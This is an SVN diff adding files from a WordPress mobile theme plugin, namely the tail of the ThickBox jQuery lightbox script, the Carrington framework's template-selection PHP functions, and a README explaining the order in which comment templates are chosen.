+			jQuery("#TB_window").append("<div id='TB_title'><div id='TB_closeAjaxWindow'><a href='#' id='TB_closeWindowButton' title='Close'>close</a> or Esc Key</div></div><div id='TB_ImageWrapper' style='height:"+imageHeight+"px;width:"+imageWidth+"px;'><div id='TB_ImageHoverNav'>"+TB_PrevHTML+TB_NextHTML+"</div><img id='TB_Image' src='"+url+"' width='"+imageWidth+"' height='"+imageHeight+"' alt='"+caption+"'/></div><div id='TB_caption'>"+caption+"<div id='TB_secondLine'>" + TB_imageCount + "</div></div>");
+			jQuery("#TB_closeWindowButton").click(tb_remove);
+			
+			if (!(TB_PrevHTML === "")) {
+				function goPrev(){
+					if(jQuery(document).unbind("click",goPrev)){jQuery(document).unbind("click",goPrev);}
+					jQuery("#TB_window").remove();
+					jQuery("body").append("<div id='TB_window'></div>");
+					tb_show(TB_PrevCaption, TB_PrevURL, imageGroup);
+					return false;	
+				}
+				jQuery("#TB_prev").click(goPrev);
+			}
+			
+			if (!(TB_NextHTML === "")) {		
+				function goNext(){
+					jQuery("#TB_window").remove();
+					jQuery("body").append("<div id='TB_window'></div>");
+					tb_show(TB_NextCaption, TB_NextURL, imageGroup);
+					return false;
+				}
+				jQuery("#TB_next").click(goNext);
+				
+			}
+
+			document.onkeydown = function(e){ 	
+				if (e == null) { // ie
+					keycode = event.keyCode;
+				} else { // mozilla
+					keycode = e.which;
+				}
+				if(keycode == 27){ // close
+					tb_remove();
+				} else if(keycode == 190 || keycode == 39){ // display next image
+					if(!(TB_NextHTML == "")){
+						document.onkeydown = "";
+						goNext();
+					}
+				} else if(keycode == 188 || keycode == 37){ // display previous image
+					if(!(TB_PrevHTML == "")){
+						document.onkeydown = "";
+						goPrev();
+					}
+				}	
+			};
+			
+			tb_position();
+			jQuery("#TB_load").remove();
+			jQuery("#TB_ImageOff").click(tb_remove);
+			jQuery("#TB_window").css({display:"block"}); //for safari using css instead of show
+			};
+			
+			imgPreloader.src = url;
+		}else{//code to show html
+			
+			var queryString = url.replace(/^[^\?]+\??/,'');
+			var params = tb_parseQuery( queryString );
+
+			TB_WIDTH = (params['width']*1) + 30 || 630; //defaults to 630 if no paramaters were added to URL
+			TB_HEIGHT = (params['height']*1) + 40 || 440; //defaults to 440 if no paramaters were added to URL
+			ajaxContentW = TB_WIDTH - 30;
+			ajaxContentH = TB_HEIGHT - 45;
+			
+			if(url.indexOf('TB_iframe') != -1){// either iframe or ajax window		
+					urlNoQuery = url.split('TB_');
+					jQuery("#TB_iframeContent").remove();
+					if(params['modal'] != "true"){//iframe no modal
+						jQuery("#TB_window").append("<div id='TB_title'><div id='TB_ajaxWindowTitle'>"+caption+"</div><div id='TB_closeAjaxWindow'><a href='#' id='TB_closeWindowButton' title='Close'>close</a> or Esc Key</div></div><iframe frameborder='0' hspace='0' src='"+urlNoQuery[0]+"' id='TB_iframeContent' name='TB_iframeContent"+Math.round(Math.random()*1000)+"' onload='tb_showIframe()' style='width:"+(ajaxContentW + 29)+"px;height:"+(ajaxContentH + 17)+"px;' > </iframe>");
+					}else{//iframe modal
+					jQuery("#TB_overlay").unbind();
+						jQuery("#TB_window").append("<iframe frameborder='0' hspace='0' src='"+urlNoQuery[0]+"' id='TB_iframeContent' name='TB_iframeContent"+Math.round(Math.random()*1000)+"' onload='tb_showIframe()' style='width:"+(ajaxContentW + 29)+"px;height:"+(ajaxContentH + 17)+"px;'> </iframe>");
+					}
+			}else{// not an iframe, ajax
+					if(jQuery("#TB_window").css("display") != "block"){
+						if(params['modal'] != "true"){//ajax no modal
+						jQuery("#TB_window").append("<div id='TB_title'><div id='TB_ajaxWindowTitle'>"+caption+"</div><div id='TB_closeAjaxWindow'><a href='#' id='TB_closeWindowButton'>close</a> or Esc Key</div></div><div id='TB_ajaxContent' style='width:"+ajaxContentW+"px;height:"+ajaxContentH+"px'></div>");
+						}else{//ajax modal
+						jQuery("#TB_overlay").unbind();
+						jQuery("#TB_window").append("<div id='TB_ajaxContent' class='TB_modal' style='width:"+ajaxContentW+"px;height:"+ajaxContentH+"px;'></div>");	
+						}
+					}else{//this means the window is already up, we are just loading new content via ajax
+						jQuery("#TB_ajaxContent")[0].style.width = ajaxContentW +"px";
+						jQuery("#TB_ajaxContent")[0].style.height = ajaxContentH +"px";
+						jQuery("#TB_ajaxContent")[0].scrollTop = 0;
+						jQuery("#TB_ajaxWindowTitle").html(caption);
+					}
+			}
+					
+			jQuery("#TB_closeWindowButton").click(tb_remove);
+			
+				if(url.indexOf('TB_inline') != -1){	
+					jQuery("#TB_ajaxContent").append(jQuery('#' + params['inlineId']).children());
+					jQuery("#TB_window").unload(function () {
+						jQuery('#' + params['inlineId']).append( jQuery("#TB_ajaxContent").children() ); // move elements back when you're finished
+					});
+					tb_position();
+					jQuery("#TB_load").remove();
+					jQuery("#TB_window").css({display:"block"}); 
+				}else if(url.indexOf('TB_iframe') != -1){
+					tb_position();
+					if($.browser.safari){//safari needs help because it will not fire iframe onload
+						jQuery("#TB_load").remove();
+						jQuery("#TB_window").css({display:"block"});
+					}
+				}else{
+					jQuery("#TB_ajaxContent").load(url += "&random=" + (new Date().getTime()),function(){//to do a post change this load method
+						tb_position();
+						jQuery("#TB_load").remove();
+						tb_init("#TB_ajaxContent a.thickbox");
+						jQuery("#TB_window").css({display:"block"});
+					});
+				}
+			
+		}
+
+		if(!params['modal']){
+			document.onkeyup = function(e){ 	
+				if (e == null) { // ie
+					keycode = event.keyCode;
+				} else { // mozilla
+					keycode = e.which;
+				}
+				if(keycode == 27){ // close
+					tb_remove();
+				}	
+			};
+		}
+		
+	} catch(e) {
+		//nothing here
+	}
+}
+
+//helper functions below
+function tb_showIframe(){
+	jQuery("#TB_load").remove();
+	jQuery("#TB_window").css({display:"block"});
+}
+
+function tb_remove() {
+ 	jQuery("#TB_imageOff").unbind("click");
+	jQuery("#TB_closeWindowButton").unbind("click");
+	jQuery("#TB_window").fadeOut("fast",function(){jQuery('#TB_window,#TB_overlay,#TB_HideSelect').trigger("unload").unbind().remove();});
+	jQuery("#TB_load").remove();
+	if (typeof document.body.style.maxHeight == "undefined") {//if IE 6
+		jQuery("body","html").css({height: "auto", width: "auto"});
+		jQuery("html").css("overflow","");
+	}
+	document.onkeydown = "";
+	document.onkeyup = "";
+	return false;
+}
+
+function tb_position() {
+jQuery("#TB_window").css({marginLeft: '-' + parseInt((TB_WIDTH / 2),10) + 'px', width: TB_WIDTH + 'px'});
+	if ( !(jQuery.browser.msie && jQuery.browser.version < 7)) { // take away IE6
+		jQuery("#TB_window").css({marginTop: '-' + parseInt((TB_HEIGHT / 2),10) + 'px'});
+	}
+}
+
+function tb_parseQuery ( query ) {
+   var Params = {};
+   if ( ! query ) {return Params;}// return empty object
+   var Pairs = query.split(/[;&]/);
+   for ( var i = 0; i < Pairs.length; i++ ) {
+      var KeyVal = Pairs[i].split('=');
+      if ( ! KeyVal || KeyVal.length != 2 ) {continue;}
+      var key = unescape( KeyVal[0] );
+      var val = unescape( KeyVal[1] );
+      val = val.replace(/\+/g, ' ');
+      Params[key] = val;
+   }
+   return Params;
+}
+
+function tb_getPageSize(){
+	var de = document.documentElement;
+	var w = window.innerWidth || self.innerWidth || (de&&de.clientWidth) || document.body.clientWidth;
+	var h = window.innerHeight || self.innerHeight || (de&&de.clientHeight) || document.body.clientHeight;
+	arrayPageSize = [w,h];
+	return arrayPageSize;
+}
+
+function tb_detectMacXFF() {
+  var userAgent = navigator.userAgent.toLowerCase();
+  if (userAgent.indexOf('mac') != -1 && userAgent.indexOf('firefox')!=-1) {
+    return true;
+  }
+}
+
+
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/wordpress-mobile-edition/carrington-mobile-1.0.2/carrington-core/templates.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/wordpress-mobile-edition/carrington-mobile-1.0.2/carrington-core/templates.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/wordpress-mobile-edition/carrington-mobile-1.0.2/carrington-core/templates.php	(revision 44)
@@ -0,0 +1,104 @@
+<?php
+
+// This file is part of the Carrington Theme Framework for WordPress
+// http://carringtontheme.com
+//
+// Copyright (c) 2008-2009 Crowd Favorite, Ltd. All rights reserved.
+// http://crowdfavorite.com
+//
+// Released under the GPL license
+// http://www.opensource.org/licenses/gpl-license.php
+//
+// **********************************************************************
+// This program is distributed in the hope that it will be useful, but
+// WITHOUT ANY WARRANTY; without even the implied warranty of
+// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. 
+// **********************************************************************
+
+if (__FILE__ == $_SERVER['SCRIPT_FILENAME']) { die(); }
+
+function cfct_page($file = '') {
+	if (empty($file)) {
+		$file = cfct_default_file('pages');
+	}
+	cfct_template_file('pages', $file);
+}
+
+function cfct_header() {
+	$file = cfct_choose_general_template('header');
+	cfct_template_file('header', $file);
+}
+
+function cfct_footer() {
+	$file = cfct_choose_general_template('footer');
+	cfct_template_file('footer', $file);
+}
+
+function cfct_sidebar() {
+	$file = cfct_choose_general_template('sidebar');
+	cfct_template_file('sidebar', $file);
+}
+
+function cfct_posts() {
+	$file = cfct_choose_general_template('posts');
+	cfct_template_file('posts', $file);
+}
+
+function cfct_single() {
+	$file = cfct_choose_general_template('single');
+	cfct_template_file('single', $file);
+}
+
+function cfct_attachment() {
+	$file = cfct_choose_general_template('attachment');
+	cfct_template_file('attachment', $file);
+}
+
+function cfct_loop() {
+	$file = cfct_choose_general_template('loop');
+	cfct_template_file('loop', $file);
+}
+
+function cfct_content() {
+	$file = cfct_choose_content_template();
+	cfct_template_file('content', $file);
+}
+
+function cfct_excerpt() {
+	$file = cfct_choose_content_template('excerpt');
+	cfct_template_file('excerpt', $file);
+}
+
+function cfct_comments() {
+	$file = cfct_choose_general_template('comments');
+	cfct_template_file('comments', $file);
+}
+
+function cfct_comment($data = null) {
+	$file = cfct_choose_comment_template();
+	cfct_template_file('comment', $file, $data);
+}
+
+function cfct_threaded_comment($comment, $args = array(), $depth) {
+	$GLOBALS['comment'] = $comment;
+	$data = array(
+		'args' => $args,
+		'depth' => $depth,
+	);
+	cfct_template_file('comments', 'threaded', $data);
+}
+
+function cfct_form($name = '') {
+	cfct_template_file('forms', $name);
+}
+
+function cfct_misc($name = '') {
+	cfct_template_file('misc', $name);
+}
+
+function cfct_error($name = '') {
+	cfct_template_file('error', $name);
+}
+
+
+?>
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/wordpress-mobile-edition/carrington-mobile-1.0.2/carrington-core/utility.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/wordpress-mobile-edition/carrington-mobile-1.0.2/carrington-core/utility.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/wordpress-mobile-edition/carrington-mobile-1.0.2/carrington-core/utility.php	(revision 44)
@@ -0,0 +1,692 @@
+<?php
+
+// This file is part of the Carrington Theme Framework for WordPress
+// http://carringtontheme.com
+//
+// Copyright (c) 2008-2009 Crowd Favorite, Ltd. All rights reserved.
+// http://crowdfavorite.com
+//
+// Released under the GPL license
+// http://www.opensource.org/licenses/gpl-license.php
+//
+// **********************************************************************
+// This program is distributed in the hope that it will be useful, but
+// WITHOUT ANY WARRANTY; without even the implied warranty of
+// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. 
+// **********************************************************************
+
+if (__FILE__ == $_SERVER['SCRIPT_FILENAME']) { die(); }
+
+function cfct_die($str = '') {
+	if (!empty($str)) {
+		include(CFCT_PATH.'error/exit.php');
+		die();
+	}
+}
+
+function cfct_banner($str = '') {
+	if (!empty($str)) {
+		include(CFCT_PATH.'misc/banner.php');
+	}
+}
+
+function cfct_get_option($name) {
+	$defaults = array(
+		'cfct_credit' => 'yes',
+		'cfct_lightbox' => 'yes',
+		'cfct_header_image' => 0,
+	);
+	$defaults = apply_filters('cfct_option_defaults', $defaults);
+	$value = get_option($name);
+	if ($value == '' && isset($defaults[$name])) {
+		$value = $defaults[$name];
+	}
+	return $value;
+}
+
+function cfct_load_plugins() {
+	$files = cfct_files(CFCT_PATH.'plugins');
+	foreach ($files as $file) {
+		include(CFCT_PATH.'plugins/'.$file);
+	}
+}
+
+function cfct_default_file($dir) {
+	$fancy = $dir.'-default.php';
+	file_exists(CFCT_PATH.$dir.'/'.$fancy) ? $default = $fancy : $default = 'default.php';
+	return $default;
+}
+
+function cfct_context() {
+	$context = 'home';
+	if (is_page()) {
+		$context = 'page';
+	}
+	else if (is_single()) {
+		$context = 'single';
+	}
+	else if (is_category()) {
+		$context = 'category';
+	}
+	else if (is_tag()) {
+		$context = 'tag';
+	}
+	else if (is_author()) {
+		$context = 'author';
+	}
+	else if (is_archive()) {
+// possible future abstraction for:
+// 	is_month()
+// 	is_year()
+// 	is_day()
+		$context = 'archive';
+	}
+	else if (is_search()) {
+		$context = 'search';
+	}
+	else if (is_home()) {
+		$context = 'home';
+		// TODO - check page #
+	}
+	else if (is_404()) {
+		$context = '404';
+	}
+	return apply_filters('cfct_context', $context);
+}
+
+/**
+ * @param $template = folder name of file
+ * @param $type = file name of file
+ * @param $keys = keys that could be used for additional filename params
+ * returns false if file does not exist
+ *
+ */
+function cfct_filename($dir, $type = 'default', $keys = array()) {
+	switch ($type) {
+		case 'author':
+			if (count($keys)) {
+				$file = 'author-'.$keys[0];
+			}
+			else {
+				$file = 'author';
+			}
+			break;
+		case 'category':
+			if (count($keys)) {
+				$file = 'cat-'.$keys[0];
+			}
+			else {
+				$file = 'category';
+			}
+			break;
+		case 'tag':
+			if (count($keys)) {
+				$file = 'tag-'.$keys[0];
+			}
+			else {
+				$file = 'tag';
+			}
+			break;
+		case 'meta':
+			if (count($keys)) {
+				foreach ($keys as $k => $v) {
+					if (!empty($v)) {
+						$file = 'meta-'.$k.'-'.$v;
+					}
+					else {
+						$file = 'meta-'.$k;
+					}
+					break;
+				}
+			}
+			break;
+		case 'user':
+			if (count($keys)) {
+				$file = 'user-'.$keys[0];
+			}
+			break;
+		case 'role':
+			if (count($keys)) {
+				$file = 'role-'.$keys[0];
+			}
+			break;
+		case 'parent':
+			if (count($keys)) {
+				$file = 'parent-'.$keys[0];
+			}
+			break;
+		default:
+		// handles page, etc.
+			$file = $type;
+	}
+	// fallback for category, author, tag, etc.
+	$path = CFCT_PATH.$dir.'/'.$file.'.php';
+	if (!file_exists($path)) {
+		switch ($type) {
+			case 'author':
+			case 'category':
+			case 'tag':
+				$archive_file = CFCT_PATH.$dir.'/archive.php';
+				if (file_exists($archive_file)) {
+					$path = $archive_file;
+				}
+		}
+	}
+	$default = CFCT_PATH.$dir.'/'.cfct_default_file($dir);
+	if (file_exists($path)) {
+		$path = $path;
+	}
+	else if (file_exists($default)) {
+		$path = $default;
+	}
+	else {
+		$path = false;
+	}
+	return apply_filters('cfct_filename', $path);
+}
+
+function cfct_template($dir, $keys = array()) {
+	$context = cfct_context();
+	$file = cfct_filename($dir, $context, $keys);
+	if ($file) {
+		include($file);
+	}
+	else {
+		cfct_die('Error loading '.$dir.' '.__LINE__);
+	}
+}
+
+function cfct_template_file($dir, $file, $data = null) {
+	$path = '';
+	if (!empty($file)) {
+		$file = basename($file, '.php');
+		$path = CFCT_PATH.$dir.'/'.$file.'.php';
+	}
+	if (file_exists($path)) {
+		include($path);
+	}
+	else {
+		cfct_die('Error loading '.$file.' '.__LINE__);
+	}
+}
+
+function cfct_choose_general_template($dir) {
+	$exec_order = array(
+		'author'
+		, 'role'
+		, 'category'
+		, 'tag'
+		, 'single'
+		, 'default'
+	);
+	$new_exec_order = apply_filters('cfct_general_match_order', $exec_order);
+	$files = cfct_files(CFCT_PATH.$dir);
+	foreach ($new_exec_order as $func) {
+		$func_name = 'cfct_choose_general_template_'.$func;
+		if (function_exists($func_name)) {
+			$filename = $func_name($dir, $files);
+			if ($filename != false) {
+				break;
+			}
+		}
+	}
+	return apply_filters('cfct_choose_general_template', $filename, $dir);
+}
+
+function cfct_choose_general_template_author($dir, $files) {
+	$files = cfct_author_templates($dir, $files);
+	if (count($files)) {
+		$username = get_query_var('author_name');
+		if (empty($username)) {
+			$user = new WP_User(get_query_var('author'));
+			$username = $user->user_login;
+		}
+		$filename = 'author-'.$username.'.php';
+		if (in_array($filename, $files)) {
+			$keys = array($username);
+			return cfct_filename($dir, 'author', $keys);
+		}
+ 	}
+	return false;
+}
+
+function cfct_choose_general_template_category($dir, $files) {
+	$files = cfct_cat_templates($dir, $files);
+	if (count($files)) {
+		global $cat;
+		$slug = cfct_cat_id_to_slug($cat);
+		if (in_array('cat-'.$slug.'.php', $files)) {
+			$keys = array($slug);
+			return cfct_filename($dir, 'category', $keys);
+		}
+ 	}
+	return false;
+}
+
+function cfct_choose_general_template_tag($dir, $files) {
+	$files = cfct_tag_templates($dir, $files);
+	if (count($files)) {
+		$tag = get_query_var('tag');
+		if (in_array('tag-'.$tag.'.php', $files)) {
+			$keys = array($tag);
+			return cfct_filename($dir, 'tag', $keys);
+		}
+ 	}
+	return false;
+}
+
+function cfct_choose_general_template_role($dir, $files) {
+	$files = cfct_role_templates($dir, $files);
+	if (count($files)) {
+		$username = get_query_var('author_name');
+		$user = new WP_User(cfct_username_to_id($username));
+		if (!empty($user->user_login)) {
+			if (count($user->roles)) {
+				foreach ($user->roles as $role) {
+					$role_file = 'role-'.$role.'.php';
+					if (in_array($role_file, $files)) {
+						return $role_file;
+					}
+				}
+			}
+		}
+ 	}
+	return false;
+}
+
+function cfct_choose_general_template_single($dir, $files) {
+	if (cfct_context() == 'single') {
+		$files = cfct_single_templates($dir, $files);
+		if (count($files)) {
+// check to see if we're in the loop.
+			global $post;
+			$orig_post = $post;
+			while (have_posts()) {
+				the_post();
+				$filename = cfct_choose_single_template($files, 'single-*');
+				if (!$filename) {
+					if (file_exists(CFCT_PATH.$dir.'/single.php')) {
+						$filename = 'single.php';
+					}
+				}
+			}
+			rewind_posts();
+			$post = $orig_post;
+			return $filename;
+		}
+	}
+	return false;
+}
+
+function cfct_choose_general_template_default($dir, $files) {
+	$context = cfct_context();
+	return cfct_filename($dir, $context);
+}
+
+function cfct_choose_single_template($files = array(), $filter = '*') {
+// must be called within the_loop - cfct_choose_general_template_single() approximates a loop for this reason.
+	$exec_order = array(
+		'author'
+		, 'meta'
+		, 'category'
+		, 'role'
+		, 'tag'
+		, 'parent' // for pages
+		, 'default'
+	);
+	$exec_order = apply_filters('cfct_single_match_order', $exec_order);
+	$filename = false;
+	global $post;
+	foreach ($exec_order as $type) {
+		switch ($type) {
+			case 'author':
+				$author_files = cfct_author_templates('', $files);
+				if (count($author_files)) {
+					$author = get_the_author_login();
+					$file = cfct_filename_filter('author-'.$author.'.php', $filter);
+					if (in_array($file, $author_files)) {
+						$filename = $file;
+					}
+				}
+				break;
+			case 'meta':
+				$meta_files = cfct_meta_templates('', $files);
+				if (count($meta_files)) {
+					$meta = get_post_custom($post->ID);
+					if (count($meta)) {
+// check key, value matches first
+						foreach ($meta as $k => $v) {
+							$val = $v[0];
+							$file = cfct_filename_filter('meta-'.$k.'-'.$val.'.php', $filter);
+							if (in_array($file, $meta_files)) {
+								$filename = $file;
+								break;
+							}
+						}
+// check key matches only
+						if (!$filename) {
+							foreach ($meta as $k => $v) {
+								$file = cfct_filename_filter('meta-'.$k.'.php', $filter);
+								if (in_array($file, $meta_files)) {
+									$filename = $file;
+									break;
+								}
+							}
+						}
+					}
+				}
+				break;
+			case 'category':
+				$cat_files = cfct_cat_templates($type, $files);
+				if (count($cat_files)) {
+					foreach ($cat_files as $file) {
+						$cat_id = cfct_cat_filename_to_id($file);
+						if (in_category($cat_id)) {
+							$filename = $file;
+							break;
+						}
+					}
+				}
+				break;
+			case 'role':
+				$role_files = cfct_role_templates($type, $files);
+				if (count($role_files)) {
+					$user = new WP_User(get_the_author_ID());
+					if (count($user->roles)) {
+						foreach ($role_files as $file) {
+							foreach ($user->roles as $role) {
+								if (cfct_role_filename_to_name($file) == $role) {
+									$filename = $file;
+									break;
+								}
+							}
+						}
+					}
+				}
+				break;
+			case 'tag':
+				$tag_files = cfct_tag_templates($type, $files);
+				if (count($tag_files)) {
+					$tags = get_the_tags($post->ID);
+					if (is_array($tags) && count($tags)) {
+						foreach ($tag_files as $file) {
+							foreach ($tags as $tag) {
+								if ($tag->slug == cfct_tag_filename_to_name($file)) {
+									$filename = $file;
+									break;
+								}
+							}
+						}
+					}
+				}
+				break;
+			case 'parent':
+				$parent_files = cfct_parent_templates($type, $files);
+				if (count($parent_files) && $post->post_parent > 0) {
+					$parent = cfct_post_id_to_slug($post->post_parent);
+					$file = cfct_filename_filter('parent-'.$parent.'.php', $filter);
+					if (in_array($file, $parent_files)) {
+						$filename = $file;
+					}
+				}
+				break;
+			case 'default':
+				break;
+		}
+		if ($filename) {
+			break;
+		}
+	}
+	return apply_filters('cfct_choose_single_template', $filename);
+}
+
+function cfct_choose_content_template($type = 'content') {
+	$files = cfct_files(CFCT_PATH.$type);
+	$filename = cfct_choose_single_template($files);
+	if (!$filename && cfct_context() == 'page' && file_exists(CFCT_PATH.$type.'/page.php')) {
+		$filename = 'page.php';
+	}
+	if (!$filename) {
+		$filename = cfct_default_file($type);
+	}
+	return apply_filters('cfct_choose_content_template', $filename, $type);
+}
+
+function cfct_choose_comment_template() {
+	$exec_order = array(
+		'ping'
+		, 'author'
+		, 'user'
+		, 'role'
+		, 'default'
+	);
+	$new_exec_order = apply_filters('cfct_comment_match_order', $exec_order);
+	$files = cfct_files(CFCT_PATH.'comment');
+	foreach ($new_exec_order as $func) {
+		$func_name = 'cfct_choose_comment_template_'.$func;
+		if (function_exists($func_name)) {
+			$filename = $func_name($files);
+			if ($filename != false) {
+				break;
+			}
+		}
+	}
+	return apply_filters('cfct_choose_comment_template', $filename);
+}
+
+function cfct_choose_comment_template_ping($files) {
+	global $comment;
+	if (in_array('ping.php', $files)) {
+		switch ($comment->comment_type) {
+			case 'pingback':
+			case 'trackback':
+				return 'ping';
+				break;
+		}
+	}
+	return false;
+}
+
+function cfct_choose_comment_template_author($files) {
+	global $post, $comment;
+	if (!empty($comment->user_id) && $comment->user_id == $post->post_author && in_array('author.php', $files)) {
+		return 'author';
+ 	}
+	return false;
+}
+
+function cfct_choose_comment_template_user($files) {
+	global $comment;
+	$files = cfct_comment_templates('user', $files);
+	if (count($files) && !empty($comment->user_id)) {
+		$user = new WP_User($comment->user_id);
+		if (!empty($user->user_login)) {
+			$user_file = 'user-'.$user->user_login.'.php';
+			if (in_array($user_file, $files)) {
+				return $user_file;
+			}
+		}
+ 	}
+	return false;
+}
+
+function cfct_choose_comment_template_role($files) {
+	global $comment;
+	$files = cfct_comment_templates('role', $files);
+	if (count($files) && !empty($comment->user_id)) {
+		$user = new WP_User($comment->user_id);
+		if (!empty($user->user_login)) {
+			if (count($user->roles)) {
+				foreach ($user->roles as $role) {
+					$role_file = 'role-'.$role.'.php';
+					if (in_array($role_file, $files)) {
+						return $role_file;
+					}
+				}
+			}
+		}
+ 	}
+	return false;
+}
+
+function cfct_choose_comment_template_default($files) {
+	return cfct_default_file('comment');
+}
+
+function cfct_files($path) {
+	$files = wp_cache_get('cfct_files_'.$path, 'cfct');
+	if ($files) {
+		return $files;
+	}
+	$files = array();
+	if ($handle = opendir($path)) {
+		while (false !== ($file = readdir($handle))) {
+			$path = trailingslashit($path);
+			if (is_file($path.$file) && strtolower(substr($file, -4, 4)) == ".php") {
+				$files[] = $file;
+			}
+		}
+	}
+	wp_cache_set('cfct_files_'.$path, $files, 'cfct', 3600);
+	return $files;
+}
+
+function cfct_filename_filter($filename, $filter) {
+	return str_replace('*', $filename, $filter);
+}
+
+function cfct_filter_files($files = array(), $prefix = '') {
+	$matches = array();
+	if (count($files)) {
+		foreach ($files as $file) {
+			if (strpos($file, $prefix) !== false) {
+				$matches[] = $file;
+			}
+		}
+	}
+	return $matches;
+}
+
+function cfct_meta_templates($dir, $files = null) {
+	if (is_null($files)) {
+		$files = cfct_files(CFCT_PATH.$dir);
+	}
+	$matches = cfct_filter_files($files, 'meta-');
+	return apply_filters('cfct_meta_templates', $matches);
+}
+
+function cfct_cat_templates($dir, $files = null) {
+	if (is_null($files)) {
+		$files = cfct_files(CFCT_PATH.$dir);
+	}
+	$matches = cfct_filter_files($files, 'cat-');
+	return apply_filters('cfct_cat_templates', $matches);
+}
+
+function cfct_tag_templates($dir, $files = null) {
+	if (is_null($files)) {
+		$files = cfct_files(CFCT_PATH.$dir);
+	}
+	$matches = cfct_filter_files($files, 'tag-');
+	return apply_filters('cfct_tag_templates', $matches);
+}
+
+function cfct_author_templates($dir, $files = null) {
+	if (is_null($files)) {
+		$files = cfct_files(CFCT_PATH.$dir);
+	}
+	$matches = cfct_filter_files($files, 'author-');
+	return apply_filters('cfct_author_templates', $matches);
+}
+
+function cfct_role_templates($dir, $files = null) {
+	if (is_null($files)) {
+		$files = cfct_files(CFCT_PATH.$dir);
+	}
+	$matches = cfct_filter_files($files, 'role-');
+	return apply_filters('cfct_role_templates', $matches);
+}
+
+function cfct_parent_templates($dir, $files = null) {
+	if (is_null($files)) {
+		$files = cfct_files(CFCT_PATH.$dir);
+	}
+	$matches = cfct_filter_files($files, 'parent-');
+	return apply_filters('cfct_parent_templates', $matches);
+}
+
+function cfct_single_templates($dir, $files = null) {
+	if (is_null($files)) {
+		$files = cfct_files(CFCT_PATH.$dir);
+	}
+	$matches = cfct_filter_files($files, 'single');
+	return apply_filters('cfct_single_templates', $matches);
+}
+
+function cfct_comment_templates($type, $files = false) {
+	if (!$files) {
+		$files = cfct_files(CFCT_PATH.'comment');
+	}
+	$matches = array();
+	switch ($type) {
+		case 'user':
+			$matches = cfct_filter_files($files, 'user-');
+			break;
+		case 'role':
+			$matches = cfct_filter_files($files, 'role-');
+			break;
+	}
+	return apply_filters('cfct_comment_templates', $matches);
+}
+
+function cfct_cat_filename_to_id($file) {
+	$cat = str_replace(array('single-cat-', 'cat-', '.php'), '', $file);
+	$cat = get_category_by_slug($cat);
+	return $cat->cat_ID;
+}
+
+function cfct_cat_filename_to_name($file) {
+	$cat = str_replace(array('single-cat-', 'cat-', '.php'), '', $file);
+	$cat = get_category_by_slug($cat);
+	return $cat->name;
+}
+
+function cfct_cat_filename_to_slug($file) {
+	return str_replace(array('single-cat-', 'cat-', '.php'), '', $file);
+}
+
+function cfct_cat_id_to_slug($id) {
+	$cat = &get_category($id);
+	return $cat->slug;
+}
+
+function cfct_username_to_id($username) {
+	return get_profile('ID', $username);
+}
+
+function cfct_tag_filename_to_name($file) {
+	return str_replace(array('single-tag-', 'tag-', '.php'), '', $file);
+}
+
+function cfct_author_filename_to_name($file) {
+	return str_replace(array('single-author-', 'author-', '.php'), '', $file);
+}
+
+function cfct_role_filename_to_name($file) {
+	return str_replace(array('single-role-', 'role-', '.php'), '', $file);
+}
+
+function cfct_post_id_to_slug($id) {
+	$post = get_post($id);
+	return $post->post_name;
+}
+
+function cfct_basic_content_formatting($str) {
+	$str = wptexturize($str);
+	$str = convert_smilies($str);
+	$str = convert_chars($str);
+	$str = wpautop($str);
+	return $str;
+}
+
+?>
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/wordpress-mobile-edition/carrington-mobile-1.0.2/comment/README.txt
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/wordpress-mobile-edition/carrington-mobile-1.0.2/comment/README.txt	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/wordpress-mobile-edition/carrington-mobile-1.0.2/comment/README.txt	(revision 44)
@@ -0,0 +1,35 @@
+## comment/
+
+### Overview
+
+This directory holds templates for displaying a comment in it's entirety. These templates do not hold the comment loop, or the "Comments" title or the form to allow commenting; they just show a single comment.
+
+Typically these templates will be brought in to a template in _comments/_, but can also be used to display single comments as needed.
+
+
+## Comment Context
+
+When choosing a template to use in the Comment Context, the Carrington engine looks at the type of comment and the author of the comment to choose which template to use.
+
+A "default" template is required, and will be used when there are no other templates that match a given comment. This could be because no other templates have been created, or because the comment in question doesn't match the templates that are available.
+
+The order in which these conditions are checked defaults to the following:
+
+1. ping
+2. author
+3. user
+4. role
+5. default
+
+however this order can be overridden with a plugin using the `cfct_comment_match_order` hook.
+
+Once a template match has been found, no other processing is done.
+
+
+### Supported Templates (Comment Context)
+
+- *comment-default.php* - Used when there are no other templates that match for a given comment.
+- *ping.php* - Used if the comment is a pingback or a trackback.
+- *author.php* - Used when the author of the post leaves a comment.
+- *user-{username}.php* - Used when a user with that username leaves a comment. For example, a template with a file name of _user-jsmith.php_ would be used for a comment by user _jsmith_. Any WordPres username can take the place of {username} in the file name.
+- *role-{role}.php* - Used when a comment is made by a user with a certain role. For example, a template with a file name of _role-subscriber.php_ would be used for a user with a role of "subscriber" (typical for a registered commentor who is not an author or an admin). Any WordPress role can take the place of {role} in the file name.
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/wordpress-mobile-edition/carrington-mobile-1.0.2/comment/comment-default.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/wordpress-mobile-edition/carrington-mobile-1.0.2/comment/comment-default.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/wordpress-mobile-edition/carrington-mobile-1.0.2/comment/comment-default.php	(revision 44)
@@ -0,0 +1,31 @@
+<?php
+
+// This file is part of the Carrington Mobile Theme for WordPress
+// http://carringtontheme.com
+//
+// Copyright (c) 2008-2009 Crowd Favorite, Ltd. All rights reserved.
+// http://crowdfavorite.com
+//
+// Released under the GPL license
+// http://www.opensource.org/licenses/gpl-license.php
+//
+// **********************************************************************
+// This program is distributed in the hope that it will be useful, but
+// WITHOUT ANY WARRANTY; without even the implied warranty of
+// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. 
+// **********************************************************************
+
